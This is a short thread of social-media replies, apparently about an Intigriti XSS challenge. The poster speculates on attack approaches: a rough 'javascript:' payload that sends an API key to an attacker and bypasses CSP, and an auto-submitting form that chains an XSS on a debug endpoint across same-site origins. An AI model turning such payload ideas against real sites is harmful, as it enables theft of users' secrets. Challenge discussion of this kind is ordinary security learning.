i_know_naught

[i_know_naught @Iknownaught]

@intigriti @0xGodson_ @IvarsVids I think so, shouldn't it ? or maybe I'm missing something or not up to date 😅

[i_know_naught @Iknownaught]

@0xGodson_ @intigriti @IvarsVids javascript:onmessage(e){sendApiToattacker(https://t.co/fIsIIHAOwQ.api_key)} or something similar shoud bypass CSP no ?

[i_know_naught @Iknownaught]

@intigriti An auto-submitting form as XSS at the endpoint '/debug' should make the trick bypassing CORS issues and cookies issue.

[i_know_naught @Iknownaught]

@intigriti There is an XSS at https//debug.target.com/debug. https://t.co/7IElVqnEOB and https://t.co/SpfzOdLiNy are same-site but not same-origin so it won't be possible to use ajax queries. But top-level-window navigation are still possible.